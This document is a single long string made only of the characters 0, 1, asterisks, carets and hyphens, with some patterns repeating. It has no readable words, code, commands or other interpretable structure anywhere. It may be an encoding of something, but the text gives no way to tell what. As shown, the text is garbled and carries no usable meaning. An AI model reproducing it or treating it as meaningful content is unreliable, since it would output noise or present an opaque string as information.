------11*001*-001011**011*1101**********************001*0^--------0010-1*-*1101*--------0101^1*-001011*0^1*0-11**********1*********01**0101*101*01^11*00^1101*110110-11*1*011*1*0011**--------1^1101*-001011*00101*0-11*0101*001101*--------10-101*-001011*011011*01^1*11****01**01*011*001011**********1********0-01*********011011*********0-11********00101*1********^1101********01011*********0-*1*******************1010101*********11*1********-*1*********11*0101*10^1*********011*01*0-00101*001^1*001****01**0-010^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1*******1^11********00^-**0011***01^1^1*010101*11*00-----11010---11*0-001*1*1^1*^1101*****00-10-10-01**1*010^1*********11011*001*^1*1*1*-----11010-^10^1*-001*1*1^1*^1101*****0010^11011*001*00^1^^1********11*101*001*1101*1*1*1010--010^-^10-11*-----11010-110110101*-001*1*1^1*^1101*******01*0^1**01*010^1********0101^1*001*0101*1*1*10101*00110^1**00--10-1*-11*-1*01*1*-----11010-1010^11*-001*1*1^1*^11*-1*01^1*-01*00110-11010^^1101*****00^--101011**1*010^110-^-11*0^1*1*1*-----11010-101*-*-001*1*1^1*00101*-11*^1**110^1**00--101101*-1*01*1*-----11010-10^-1*-001*1*1^1*^1101******^1*^11**001*010^1*****001**^101**01*^1*1*1*-1*01^1*0-*0-11*1010--010^11010^-11*-----10110--11**0-001*1*1^1*^1101*****001010-^^-*001*010^1*****001**110101**01*^1*1*1*10101*001101*101******0010-11*0101*001*01010--0101*1010^-11*-----10110-1*011*00-001*1*1^1*^1101*****00-0-001^-*001*010^1********0-*1*001*0101*1*1*10101*00110^1**00--11011*0-11*-1*01*1*-----10110-1101^1*0-001*1*1^1*^1101******00110110-1101*001*010^1^10^-11*00101*1*1*-1*01^1*01011*-11*-----10110--*11*0-001*1*1^1*1*^1011*10-11*10101*1*1*0101****01**00101*-101^11****001**1*1^1^-0011****01**00-101*0101*1**^1*01*1**1*01*1*011*****1*00-1101*010^-*001*1*011*******00101011*10^^-*011*010^1010-101**1*0-*********0^1011*001*11*001*1*001****001**010101*--0011*001010--0101*101*0-11*-----10110-101^101*-001*1*1^1*01011*-11*^1**110^1**00--1^11*-11*-1*01*1*-----10110--101101*-001*1*1^1**00^-11*-1*01^1*01101*-11*-----10110-^1*11*-001*1*1^1*11011010^1*0-11*1*^1********0011*1*00^1^1*1*1*011*001^1*011****011**00^1*00101*1101*011****01**01*001*0101*0101*11011010^1*00-00-0-01**^10-*00101*011****011**0011*1*101*^11*1*11*0^11*1101**1*******************0^1*01*01*1011*001*001*1*1010--0101**0^-11*------10-1101**00-001*1*1^1*^1101*****00--00^10101*00^1^^1********-1^1*001*1101*1*1*10101*00110^1**00--110101*-11*-1*01*1*------10-101*1*00-001*1*1^1*^1101*****0011*00-*001*00^1^^101*110-11*01101*1*1*-1*01^1*^1*0-11*1101*00101*01*1*00110-11010^^1101******-01*10-01*001*010^1*01010-11*00101*1*1*------10-1*^1*0-001*1*1^1*^1101********0110^11*00^1*^11*1*-11**11*1*1*0^1*00110^1**00--10-1*-1*01*1*------10-11*011*0-001*1*1^1*00-^-11*-1*01^1*-1*0-11*1011*0110101******11*11*0101******1**0011011**01******1**0101011**01*001*0^10-11010^^1101*********0-01*00^1*^1********00-001*00^1^1*1*1*------10--11*1*-001*1*1^1*1*^1*****01**01010^1*00^10101*1*1*-1**110^1**00--10-*0-11*-1*01*1*------10-101^101*-001*1*1^1*01*010-11*-1*01^1*10-*-11*0011*01^1**11010-01*0011*01*1*1010--0101*1*010-11*------10-110-101*-001*1*1^1*1*^1^11*1^1*1*1*1101**110^1**00--^-*-11*-1*01*1*------10-1*01011*-001*1*1^1*1*^--*-11*-01*1*1*-1*01^1*11011*------10---011*-001*1*1^1*10101^-11*01*10-0101******0-*1*101******1**0010-11*001******1***10-1*001*11****011**0011*1*101*^11*1*11*0^110-***1********************01*01*0^-01*110101******-1*1*101******11**1*001**1******11**11***001*11****01**01*001*0101*0101*11011010^1*0010^1^110-*001*0011*00101*-01*0101*01*1*1010--0101**0010-11*-----1*---01*00-001*1*1^1*^1101*****00-11*-^11*00^1^^1*****01**00101011**1*1101*1*1*10101*00110^1**00--101011*-1*01*1*-----1*--10^1*0-001*1*1^1*-11*-11*-1*01^1*1011*0-11*0011*00101^^11*01*1*1101*01*1*1010--010^-11*-11*-----1*-1101*11*0-001*1*1^1*110-00-11*^1**110^1**00--^11*0-11*-1*01*1*-----1*--^-*0-001*1*1^1*^1101*****0010^101011*11*001*010^10-1*00101*1*1*-1*01^1*00101*-11*-----1*-11*1*1*-001*1*1^1**01010-11*101*001^1*011****011**00^1*00101*1101*011****011**10-001*10^1101**-^-0^1010-01*001*0101*00-*11011*011****001***1^1*101*0011*01*11011**1101^1*0101**1*0101*001*001*1*1010--0101*-0010-11*-----1*-11*-01*-001*1*1^1*0-*0-11*^1**110^1**00---001*-11*-1*01*1*-----1*--00^11*-001*1*1^1*101*10-11*-1*01^1*0011*0-11*-----1*-1101101011*-001*1*1^1*00101^-11*1010--010^101*10-11*-----1*--1*-*-001*1*1^1*10101*-11*^1**110^1**00---01*0-11*-1*01*1*-----1*-1^10-1*-001*1*1^1*1*^-110110-11*-01*1*1*-1*01^1**11*-11*-----1^-1^1**00-001*1*1^1*1*1^-11**1*01^1*011****011**00^1*00101*1101*011*******00101011*10^^-*011*01*010-011011*001*1011*01010^-11*011****011**10-001*10^1101**-^-0^-0-01*001*0101*10-*0011*0-11*001*001*1*0110--0101*1011*-----1^--01011*00-001*1*1^1*-01**1**110^1**00---101*-11*-1*01*1*-----1^--01*1*0-001*1*1^1*^1101*****00-0-*010101*001*010^1********0-*1*001*0101*1*1*-1*01^1*1101*0-11*0011*01^1*01101*-10-110101*1011010^1*0-11*1*^101101010-11*10101*1*1*-----1^--101011*0-001*1*1^1*-*10-11*^1**110^1**00--10101*0-11*-1*01*1*-----1^-1^-11*0-001*1*1^1*^1101******00^^1010-*001*010^-001*-11*00101*1*1*-1*01^1*11011*-11*0-*01^1**11010-01*0-*01*1*00110-11010^^1101********01101^1*00^1*^10101*0-11*1^1*1*1*-----1^--0^101*-001*1*1^1*^1101*******1**-01*001*010^101*110-11*00101*1*1*0^1*00110^1**00--101011*-11*-1*01*1*-----1^---1101*-001*1*1^1*1*^^1*10-11**11*1*1*-1*01^1*01011*-----1^-110-0011*-001*1*1^1**1101010101*-11*1*^-101010-11*-01*1*1*01*10-0101******0-*1*101******11**-0101**1******11**^1101**1*11****01**01*001*0101*0101*11011010^1*00-00-10^1**1*-1*00101*110101******-1*1*101******11**110-01*001******11**^-11*001*11****01**01*001*0101*0101*11011010^1*0010^1101^-*001*-1*00101*01101*0101*01*1*^10-11010^^1101******00101*10-11*00^1^^1********--01*001*1101*1*1*-----1010--00101*00-001*1*1^1*^110101*^1*****01**01011011**1*0011*1*1*1*^110101^-11**11*1*1*10101*00110^1**00--1^11*-1*01*1*-----1010--01*1*0-001*1*1^1*^110^10-10-11*1*^1********0-0101*00^-01*1*1*-1*01^1*10101*-11*1010--0101*-1^-11*-----1010---101*0-001*1*1^1*110^10-11*^1*00^11*0011*110101******0^-*0101******1***--*001******1**00101^1*00^101*001*1*1010--010^^11*-11*-----1010-11**01*-001*1*1^1*01101^-11*^1**110^1**00--^101*-11*-1*01*1*-----1010--*^1*-001*1*1^1*^1101********00110^1*00^1*^-110110-11*10101*1*1*-1*01^1*1^1*-11*001*001^1*0101^10-*01*1*1011*01*1*0110--0101*-1*-----1010--*1101*-001*1*1^1*^110101*^1********0011*1*00^1^1*1*1*1*^1********001*01*00^1^1*1*1**11*00110^1**00--10^1*-11*-1*01*1*-----1010--*1011*-001*1*1^1*010^10-11*-1*01^1**11*0101*00101****01**0^1*1^-01010--0101*10^10-11*-----1010--1^-*-001*1*1^1*1011*0-11*^1**110^1**00---101*-1*01*1*-----1010--110-1*-001*1*1^1*^1101*********1^11*00^1*^1********1101^1*00^-01*1*1*-1*01^1*^11*0101*01^1*1*******0011**1011*-011*0110--010^11011*------0-1101011**-001*1*1^1*00-**1**110^1**00--1*11*-1*01*1*------0--00101*00-001*1*1^1*0^1*-11*-1*01^1*0^1*-11*------0-11011011*00-001*1*1^1*0^1^-11*1010--0101*^1*-11*------0--1*01*0-001*1*1^1*^1101*****001010-010-1**0^1^^1*****01**01*101**1*1101*1*1*10101*00110^1**00--11*1*-11*-1*01*1*------0-11*0011*0-001*1*1^1*^1101******001^^1^1**1*010^1*****01**01^11**01*^1*1*1*-1*01^1*-01*-11*------0--00-1*0-001*1*1^1*01*^-11*-*001^1*011****011**00^1*00101*1101*011****001***1^1*101*1011*01*11011**1101^10110101**1*0101*011****01**01*001*0101*0101*11011010^1*00-00-0-01**^10-*00101*001*001*1*^10-11010^^1101*****00^10101^101**01*010^1********01*001*001*0101*1*1*------0--0101101*-001*1*1^1**110101*1*-11*1*^1********0-0-*00^10101*1*1*0^1*00110^1**00--101101*-11*-1*01*1*------0---0011*-001*1*1^1*^1101*****0010110^1*^1*00^1^^11*1010-11*01101*1*1*-1*01^1*10-*------0-1^^-*-001*1*1^1*11*010-11*01*10-0101******0-*1*101*00^10-11*011*10-11*011****011**0011*1*101*^11*1*11*0^-01^11*001********************11*01*01*1101*011****01**0010^11*101******11***01**001******11**^-1**1*0-*-11*^11*0101*01*1*1010--0101**1*-11*-----^--11*1*00-001*1*1^1**11**1**110^1**00--^-*-1*01*1*-----^--0^11*00-001*1*1^1*^110101*^-00-0-11**11*1*1*1*^1********00110-*001*0011*1*1*-1*01^1*0101*0-11*1101*01^1*-**0110-11010^^1101********001^-*00^1*^1*01*-11*-01*1*1*-----^--1101101*0-001*1*1^1*-01^-11*^1**110^1**00--1^1*0-11*-1*01*1*-----^--0011011*0-001*1*1^1*^1101*******101010-01**^1^^1*********-11*001*1101*1*1*-1*01^1*0-1*-----^--001*01*-001*1*1^1*^1101********01*1011*00^1*^1^1*0-11*1^1*1*1*01*10-0101******0-*1*10^10-*-11*1^1*-11*011*******00101011*10^^-*011*01*01010^^1*001*1101*10-110-11*011****01**0010^11*101******1**00-001**1******1**0-001**01*0-*-11*01011*0101*01*1*0^--010^1*^--110-11*-01*1*1*-----^--*^11*-001*1*1^1*^1101*****00-*0-^1**01*010^-001010-11*00101*1*1*0^1*00110^1**00--110-*-1*01*1*-----^--1*0-*-001*1*1^1*^1101********0101*11*00^1*^1*****01**001^101*001*0011*1*1*-1*01^1*0-1*-11*00110-11010^^1101******01^110--**1*010^11*0010-11*00101*1*1*-----110---**00-001*1*1^1*^110^-0^-11*1*^1********101*11*001*0011*1*1*0^1*0^1^^101^-*-01*01*1*0011*01*1*00110-11010^^1101******10^1*110-*001*010^-0^10-11*00101*1*1*-----110--0-01*00-001*1*1^1*00101^-11*^1**110^1**00--110-*-11*-1*01*1*-----110----*00-001*1*1^1*^110101*^1********11010-*001*0011*1*1*1*^-1*10-11**11*1*1*-1*01^1**01*-11*1011*01^1*^1*01010--010^10110^-11*-----110---1101*0-001*1*1^1*1*^1*****01**01****1*0011*1*1*-1**110^1**00---11*0-11*-1*01*1*-----110--0110-*0-001*1*1^1**1101*011*-11*1*^110-*-11*-01*1*1*-1*01^1*00-*-11*1010--010^-00^-11*-----110--1011*1*-001*1*1^1*01101**1*00^1^^101^-*11011*01*1*0-*01*1*1010--010^--00-11*-----110--1*0101*-001*1*1^1*^1101******10-0010-001*00^1^^1*****01**001*101*001*1101*1*1*10101*00110^1**00---011*-11*-1*01*1*-----110--0-1101*-001*1*1^1*^1101*******01^--**^1^^1*****01**010-1**01*1101*1*1*-1*01^1*1*1*-11*0-*01^1*01101*1010--010^^10^-11*-----110--0-1011*-001*1*1^1*^1101*********10^1*00^1*^-011*10101*1*1*1*1*00110^1**00--1*01*-11*-1*01*1*-----110---0-1*-001*1*1^1*^1101*****001*0101^11011*001*010^1********0011*1*001*0101*1*1*-1*01^1*00-*-----10---11**0-001*1*1^1*1*^1********10^101*00^1^1*1*1*01*10-0101******0-*1*101**0^-11*0-0^-11*011****001***1^1*101*-1*01*11011**1101^101^1**01*0101*110101******-1*1*101*********-^1*001*********0-011*001*11****01**01*001*0101*0101*11011010^1*0010^1101^-*001*-1*00101**11*0101*01*1*1010--0101*11*10-11*-----10---10101*0-001*1*1^1*101^10-11*^1**110^1**00---011*-1*01*1*-----10---^11*0-001*1*1^1*0-0^-11*-1*01^1*^11*-11*^1*01^1*011****001**1*1101*10^^11*-11*101*001*1*1010--0101*-0^-11*-----10---*001*-001*1*1^1*^1101*****00-101010-0011*001*010^1^1*0-11*0^1*1*1*0^1*00110^1**00--1*11*-11*-1*01*1*-----10--110-001*-001*1*1^1*-^10-11*-1*01^1*01101******0^1*0010101******001*0011011011*****0101**0^11******11*001*01******^1*010101******0011**11011*********110101********0010101******001**-001*****0011***11011*****0011**--*****001**00-001*****00101**00^1********00^1101*****0101***0-******01*00-^1*****001**101*11*****0-*0011*******0-**10101******011*00^11011*****01**01^11******101*001*1******01**0-10101*****0-**00^1******11*00110^1*****00-**0010101*****0101*001^1011*****011**001*******01**1101101******01*00101101******011**10^11*****01***01*1****************1***11******00101*0010^101******1***^1******1*0011011011********01*01*****001**00101011********0-^11*****0011***-1******01*0-01101********11010-*****0-*00-*01*****011**110-11*****01***010-*****011**1^-*****00101*00-01*********0011******0011***011*********101^1*****0-**^-1*****0011**-101*****0011**^^1******1**10^1*******1*0011*1*****00^1**********01*0-*******001**0^11*****001***0^11*****001**10^1******11**0101011*****00101**10^11******01**101011******01*010-11*****0011****01*****001**-0-******1**01011011*****0-*0010^-*****0101*001010-1*****011**011*11*****001**10-1******-**-011******001**-01******01**1010-******1**0011******0101*00101101******11**0^^1*****011**0^1101*****0101*0010101101******01*0-11011*****001**0101*1*****0101*00-0-*****001****1*********0101010101*101*1*1*1*1*1*1^1*1^1^-11**11*1^1*001****01**001**0--0-01*1^1*001****01*****0--001101*1^1*001****01**0^110^--010101*1^1*001*******0-11010--*101*1^1*001*******-1*10--01^1*1^1*001****01**0-010^--00^1*1^1*001*******010101010--001101*01^1*1**11010^1*1******0110^11*****00101**-101***001**001^1^1****10101*01*******00^10110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******00^10-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**0-1101*0101*11*******011**0010^^11*-*0010110101101*-*1011*00^--00-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1***10101*01*******01*101**010101******00101^1*0101*01****01**0-11011*010-0^^1*******001*0^1011*10-1*001*******1*0101**010101******00101^1*0101*01****01**00-1011*010-0^^1*******001*0^1011*1*11*-11****1101*01^1*********1***-*10110-*******0010101*011**1**10^10101010-1**0110-01************1*1**001010^-*001*1**************************************************************0101*00101*101^1*1*1*1^1*1^1*01011****-10-11*001^1*00101*01^1*11**-10-11*001^1*101*001*1*---------11**-001*1*1^1*00-*101*001^1*011*****1**0-1*00101*01*001*1*011*****1**101101*0101*01****001**01^1*--*1****001**0-1*0--*1*001^1*0101****1**001011*-10110^101^-*-1**1101*-*00^1*0--------001^1*0-001*1*1^1*^11010-11010-11*1*^110101*-11*0-*01*1*1011*0110101******10-01*010^--00-11*11011*-11**1**11*0011*001*1*110101******0-11*00101******1**010-101*001******1**011010101*00^-01*011*001*1*--------110-1*0-001*1*1^1*1*^--*-11*0-*01*1*110101******0^101*0101******01**-1101**1******01**01***001*01*******01*1010--0011*001*1*110101******11*01*010^10^^-11*11011*-11*-01*011*001*1*^1010-010^1*1*1^1*10-*110101******0^101*0101*0011010-11*01011*001*******1*01010--0011*001*1*011*001^1*0101****1**001010^1^-01101*0110101******1*1101*101******11**1*0-*001******11**10101101*001*11*********00^1*1********001101*********1101101*****************************0^1*1*********-*******************00101101********0^1*0101*101*1*1*1*1*1*1^1*11011*-----10---11011*0-*101*01^1*0101*0-11*^1*011010^10110-11010^^110^1011*1*^1*****01***011011*001*-*01*1*-----10--1011*01*-*101*01^1*^11**1**110^1**00--101011**1*01*1*-----10--11010^1*-*101*01^1*1101101010-*1*^1********110-01*00^-1*01*1**1*01^1*-01*1*10-1010^^110^-^--01********011010-*00^-1101*10^-101010-11*001*******-1*10--*10^110-110-11*001*******-1*10--010-110-11*001*******-1*10--0-01*1*^-1*10-11*1011*01*1*-----10--11*1011*-*101*01^1*11011**1**110^1**00--101101**1*01*1*-----10--1*00-*-*101*01^1*1101101010-*1*^1********^^11*00^1011*01*1**1*01^1**11*0101*001**^10-11010^^1101*********10^1*00^1*^1*****01**011*011*001*-*01*1*--------011**00-*101*01^1*^1*0-11*^1**110^1**00---101**1*01*1*--------01101**-*101*01^1*^110^1101010-11*1*^-011*-11*1011*01*1**1*01^1*01011*0101*0110101******0^1**101******1**010-011*001******1**00-1101*00^-01*01**00110-11010^^1101******10--*0101*00^1^^1*01010-11*1101*01*1*---------*1*0-*101*01^1*00-**1**110^1**00--1^11**1*01*1*--------0110101*0-*101*01^1*0011*0-11**1*01^1*^11*--------01*11*0-*101*01^1*^1101******^101*^-*00^1^^1********00101101*00^1101*01*1******01***01***010-11010-11*110101********11*101******01***001**01******01**001011**01*1101*01**-10-11010^^1101*****00-11*010-1**1*010^11*1^-11*0011*01*1*00-00-0101*101*01^1*^1101*****00101*110--1*00^1^^-011*1101*01*1*0-**110^1**00--1*11**1*01*1*1*110-0101*101*01^1*01011**1*01^1*01101******01***^1********00101*11********010101********0011*11********0^11011*********1*********011*011*****01***^1*******************0--1*****001***001******01**01*001*****001**0--********00-0101********011*101********11***********01*101*^101*01*1*0101*01^1*10-*-1*01^1*001****01*****0--00-*01^1*001*******0-11010--01011*01^1*001****01**0-010^--*11*01^1*001*******-1*10--01101*01^1*001****01**0^110^--001101*01^1*1**11010^1*1******0010^11*****001**001^11***001**001^11011*1*******0010101*********00-******001**01*-*****01***--********01^-****************00-*1*001***01010^-*001*1**************************************************************0101*00101*1*101*1*1*00101*1^1*01101***********0010-0-11*001^1*011****011**0011*1*101*^11*1*110101^1^1*01*001********************11*01*01*-1*01^1*********0-*10-0-11*001^1*-*00--------1^-1*-*1101*-----10--110101**-001*1*1^1*^11010^^10-11*1*^1********01^101*00^1101*01*1*********0^1*0-1^^11010--**-1****************11*^1101101**01*******************11*1*01101^101********1*-1011*01**110110^1*0-----10--1^^1*0-001*1*1^1*^1*0-11*1011**011010-01*^1*01101*0110101******^101*00101******11**110-11*001******11**0-0011*00^1*******0010^1*011*11*1011011*001*1*-*00-----10---11011*0-001*1*1^1*^1101*****001^10101*-**1*010^1**10-11*1011*01*1*011*001^1*^1101010-010^-00-11**11010110101******1*-*010^1^1010-11**10^-11**01*-11*101*001*1*-10^-11*^11010-01*^11010^1*0110101******1*-*0101******1**00-01**01******1**01010101**1**1*-11*001*001*1*-----10--10-0101*-001*1*1^1*^110101*^1010-00-11*1101*01*1*1*^^-*-11*1101*01*1*101*001^1*110101******11*001*101******1**01010-1*001******1**0^1^1*00^^1101*011010^1*011011**11010^1**-**11010^1*011011*011*00-----10--^-011*-001*1*1^1*0011*0-11*001*001^1*110101******11*001*101******1***-001*001******1***00-1*001*0011*0101101*011*^1**01*0-----10---0-11*-001*1*1^1*1*^^1*10-11*0^1*1*1*1011*001101*--------^1**0-001*1*1^1**11*0011*0110101******11*001*101******1**0010-**01******1**00110101**^^1101010^^-11*110101******0^-*0101******1***01*1*001******1**00-0-*001*11*0010^^-11*011*001101*0011****011**0011*1*101*^11*1*110101^-001*1*001********************01*01*0^11011*--------001^1*0-001*1*1^1*^1101********0^10-*00^1*^1********010-01*001*-*01*1*0101*0110101******0-*1*101******11**10-11**1******11**1^-**1*1**110101******101*1*0101******11***0011**1******11**101***01*11*******011**00101*1101*-*0010110101101*11010-01*00^110-00-11*--------1^-1*-00-01*--------0010^1*-001*1*1^1*1101*0-11*********^1*0010-00110101******11011**101******1***011011*001******1**0-^11*001*11*******011**00101*0-*-*0010110101101*1^-101*001*-1^-11*01**0101*001********************0010^-********1^11*********1*******01***0-1****************01**01^1*********011*11*****01***0-1*****001**00^101*****001**00^1101*********-01********1010-********0011*11********0-*0101*101*1*1*1*1*1*1^1*0-1*--------0-001*0-*101*01^1*^1101******^110101101**00^1^^1*****01***0011**0^-1*01*1*********10101**-00--------1^-1*-*1011*--------0-011*0-*101*01^1*^110101*0010-11*1*^1*****01**01^11**01*-*01*1*********0^1*^-001**00---101**1*01*1*--------0101*1*-*101*01^1*0-1**1*01^1*-01*--------^10-*-00^1101*****00-1*1*01**001*010^1101^10-11*1011*01*1*--------10^101*-*101*01^1*^1101******0110^110-**01*010^1*****01***11011**1*011*01*1*********10101*^-001**00--101101**1*01*1*--------001*11*-*101*01^1*1101101011011*1*^11*1*-11*1101*01*1**1*01^1*01101*********110^1********01*1*********11**********0^-********00^-********01011011**********01********00^-*******************^1*0101*^101*01*1*0101*01^1*01101*-1*01^1*001****01**0^110^--00-*01^1*001*******0-11010--01011*01^1*001*******-1*10--*11*01^1*001*******010101010--01101*01^1*001****01**0-010^--00^1*1^1*001****01**001**0--001101*01^1*********1***-001*1******0^^11*****011**-11***00-***1^11011*1*******0010101*********11*******0011***0101******1**00^1******1***1101******************************01101******011**010101*****0011**1*1011*****001**11*001********01*********************01101******101*0011*001*****001**-01101*****001**001^11********01********1^101*001***010101*11***************************************************************101*00101*^1^^1*1*01^^1^1**11****-101101^^11**0-1011*************************************************************0101*00101*1*^^1*1*00^^1^1*01011*00-0110101******001^^-11011011011*******011*01101*0---1**^1*****************************************1011********************101*00101*^1*^1*1*01*^1^1*01101*001101*-10--------11*0011*0-**0^1^1*01011*-----^--*001^10-*101****01**-*1*010^-**^1*0101****01**00101*-1011*1*001*1*011**0110-11010^^1101*********10-1*00^1*^1********0101^1*001*0-*1*1*0011*-0101**0^1^1*10-*101*00101101*101******001*1**101*11****001**01101^-1011*1*001*1*-10-11010^^1101******00110-11*11*001*010^1^10^-11*0^1*1*1*0011010-0101**0^1^1*1*^1*01010-11*00101*1*1*^1*0101101*11*****1*001010101*0101*11****001**00101^-1011*1*001*1*001****001**00^1*--0011****001**1^1^-101^11****01**0-0101*0101*1**001*001*1*******************00^1101********0011011********00^1101********01010-********01*011********01*011********01*011*******************^1*0101*1**^1*1**00^1^1*0-1*00-0110101******001^^-11011011011******010^1*1101*0--1*1*00^1*******************001011*****************************************0101*00101*^-1*1*1*0-1*1^1*01101*001101*-10-010--0101*101*0-11*-----110--0^101*0-0011011*1^1*1*^-1*10-11*00101*1*1*0011*0101101*101****01**00^11*0101*001*00^1*011****001**-01^-101^11****01**00101101*0101*101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*-----110--1**1*-0011011*1^1*^1101*********^101*00^1*^10-1*00-*1*1*011****001**-01^-10110110101******-101*00101******1**01011011**1******1**001^1**01*011*01*1*0011*01^1*1*******0010^^1011*-101*011*001*1*001*001*1*1010--010^1*1*-11*-----110--*-01*-0011011*1^1**01*-11*^1**1101*11*001*1*-----110--101*11*-0011011*1^1*1*^1*****01**0-0^1*00^10101*1*1*011*001^1*011****01**01101101*010^110101******-101*00101******11**0010^1*001******11**-11011*00^1101*01*1*10-00^-010-11*01101*1101*01*1*1101*01^1*1*******0010^^1011*-101*0101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01*00^--010^1*^1*01010-11*00101*1*1*-----10---11**0-0011011*1^1*^1101********01010^1*00^1*^1^^10-11*00-*1*1*0^1*10110^110101******010-1*0101********00-0^1*001*********0-101*001*101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01*00110--0101*0-*-----10---*01*0-0011011*1^1*01101**1**110^110101******0010^1*101******01**00-**001******01**-1011**1*11****011**1*-*0101*-**^1*011010^^-*00^^11********************011*01*0^101*001*1*-----10--10^-*0-0011011*1^1*00-*011****001**10101^-10110110101******-101*00101******01**001***01******01**-^1**1*101*01*1*10-00^-010-11*01101*0101*01*1*0101*01^1*1*******0010^^1011*-101*0101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*00110-11010^^1101*********^-*00^1*^1*0-0-11*00-*1*1*-----10---0-01*-0011011*1^1*^1101********0110^11*00^1*^1*****01**001*11**^1*1*1*1*10101*001101*101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01*00110--0101*0011*-----10---*-*-0011011*1^1*^1101**110-11*1*^1*****01**011010101*00^10101*1*1*0^1*00110^110101******0010^1*101******01**-01011*001******01**00^101*001*11*******00101011*10^^-*011*01*0101101*11*001*1011*10^110-11*101*001*1*--------10101**-0011011*1^1*00-*011****001**^-00-10110110101******-101*00101******11**0101^1*001******11**1*1011*00^^1*01*1*10-00^-010-11*01101*^1*01*1*^1*01^1*1*******0010^^1011*-101*0101****01***^10-10110101*001*1*0101****01**1*0010-10110^1**01**1*001*1*00110-11010^^1101******01*-1*01**1*010^-*010-11*0^1*1*1*--------0-101*0-0011011*1^1*1101*0-11*^1**1101*-^--0^10^10-11*-1101*10^10--0-11*001*******-1*10--*10^11*0^-11*001*******-1*10--01*0^-11*001*******-1*10--0110101******0010^1*101******01**0-0101*001******01**10-011*001*11****01**01*001*0101*0101*11011010^1*00-00-0-**001*0-*00101*101*001*1*101*001^1*0101****01**11*11*0101*001*00^1*0011010-010^11011*1^1*00-******001***011******1**010--*****01**0^10101********1*1011********0010^1*********0011**********11********0101*******01**11*11***************************01**010^1*****001**011*********************0-001*****01**0--******1***110-*****01**01*-********00^1*101*1011011*1*1*11011*1^1*10-**1*01^1*0101****01**01*110-101^101****01**^^10-101^101****01**1*0010-10110^1**01**1*001^1*011****001***01^1^-01011*00101****01**011*1*010^-**^1******011**0010^1*-********001011******************************************101*********101**********11*00101*10^11*1*1*^11*1^1*01011*-*001^1*0101****01**101*10-101^101****01****10-1011*01**************************************************************00101*00101*10-01*1*1*-01*1^1*-01*011****001**01101010-10110-**001**11*0011****001**001010101^-0-----110--0-0-*-00-1*01^1*1011*0-11*-----110---0-1*-00-1*01^1*1*^11*0110-11*1*1*1*1*-10-11010^1*^1*****01**00110101**^10101*1*1*-----10--11011**0-00-1*01^1*^1101*****0011*01*101011*001*010^1*****001**0-01**01**1*1*1*10101*00110^1**00---011*1011*01*1*-----10--1^101*00-00-1*01^1*^11010110^10-11*1*^1*****01**001011**00^1*1*1*1*1011*01^1*-01*-10-11010^1*^1*****01**0-0^1*00^10101*1*1*-----10--1*^1*0-00-1*01^1*01101**1**110^1**00--101101*1011*01*1*-----10---10101*0-00-1*01^1*^1101******0^^101^1**1*010^1*****01**0^10101*001**1*1*1*1011*01^1*11011*010101*101****01**0^1*1^-*110-11010^^1101******^1*--11*001*010^101011010-11*0^1*1*1*-----10--101*001*-00-1*01^1*^1101******1*101*11**001*010^1********0011*1*001*^1*1*1*10101*00110^1**00--101011*1011*01*1*-----10--10-^1*-00-1*01^1*^110101*^^110110-11*00101*1*1*1*^101011010-11*00101*1*1*1011*01^1*01011*^10-11010^^1101*****00-1*101*001*00^1^^1*****01****01**^1^1*1*1*-----10---*011*-00-1*01^1*^110101*^1011*10-11*1*1*1*1*1*^-101^-11*1*1*1*1*0^1*10110^110101******-01101*101******1**001011**001******1***-11**^-**110--0101*0011*-----10--101010-*-00-1*01^1*00-**1**110^1**00--1^11*1011*01*1*-----10--1^-11*-00-1*01^1*01011*1011*01^1*^11*--------001**00-00-1*01^1*1101*0-11*1101*0110101******0-*1*10^-*10-11*^^10-11*011****011**0011*1*101*^11*1*11*0^1^1^1**1*******************01101*01*0^10-*110101******-1*1*101******1**00-11**01******1***-11**1*11****01**01*001*0101*0101*11011010^1**0^-0-001*001*0011*00101*^10-11010^^1101*****00-01**1011**1*010^1********1101^1*001*^1*1*1*---------0101*0-00-1*01^1*^110^-1*-11*1*^11*0^-11*1*1*1*1*-1**110^1**00--1*11*1011*01*1*--------1011011*0-00-1*01^1**01*-11*1011*01^1**11*0101*00101****01**0^1*1^-*110-11010^^1101******11*011*0011*001*010^1*****001**10101**001**1*1*1*-1*-010^-1*01^1*0011*0-11*011**0110^1**00---101*1011*01*1*00-00-010^-1*01^1*1^1*-11*1011*01^1*01101******01**0-01101*****01**00-0101*****01**00-001*****001**0011011*********00-******1**0-0011*****001**0-*********00^1*********001^1********001*0101********0^-1****************1**001*101*****01***0011*********-1101********0-101*********110101*****01**0-01101*****01**0-*******1***-11*****001**0-0011********010101*101*10-1*01*1*-1*01^1*^1*0-11*10101*1^1*001*******0-11010--*101*1^1*001****01**0-010^--01^1*1^1*001****01**0^110^--00^1*1^1*001*******-1*10--01*1*1^1*001****01**001**0--*001*1^1*001*******010101010--*-*1^1*001****01*****0--001101*01^1*1**11010^1*1*******0^11*****0011*0011*011**00-***1^11011****10101*01*******11*10110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******11*10-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01***01101*0101*11*******011**00101*1011*-*0010110101101*-0^101*001********00^10101*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1**00-----10--10110-1*-00101*001^1*1101101*-*1*^1*01010-11*-*001*1*01010^11011******0-1**10-0-*00--------1101**0-00101*001^1*^1101********001*001*00^1*^110101^-11**1*01*1*--------^10-*-00^1101*****001^1*^1***1*010^101011010-11*011*001*1*--------101101*00-00101*001^1*^1101010^^-11*1*^1********0-0011*00^-*001*1*********0^1*10-^^110^1011010^1*0-11*^1**01*******1011*-11**001*011*******1**-00-*00^1011******001**0--11*001*101**011010-01*011*00---------1101*0-00101*001^1*^1*0-11*1101*00101****01**1101**0101*01*0011**01**--------1*-*0-00101*001^1*^1*0-11*1101**101*--------^10-*-00^1101*********00-1*00^1*^101101*-11*-*001*1*--------0011*1*-00101*001^1*^1101*******00^-0-*001*010^10^1010-11*011*001*1*********0^1*********1**0101*101*01^11*00^1101011011*-11*1*011*1**-